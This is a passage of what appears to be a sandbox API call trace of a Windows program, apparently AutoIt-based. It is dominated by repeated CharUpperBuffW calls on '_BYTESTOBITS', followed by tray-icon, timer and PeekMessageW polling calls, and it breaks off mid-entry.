CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.907] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.908] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.909] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.910] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.911] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.912] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.913] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.914] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.915] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.915] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.915] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.915] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.915] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.915] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.916] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.917] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.918] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.919] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.920] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.921] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.921] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.921] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.587] Shell_NotifyIconW (dwMessage=0x1, lpData=0x26a4a5e570) returned 1 [0035.587] KillTimer (hWnd=0x5002c, uIDEvent=0x1) returned 1 [0035.587] SetTimer (hWnd=0x5002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0035.587] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.587] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.587] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.587] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.587] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.588] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.589] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.591] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.592] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: 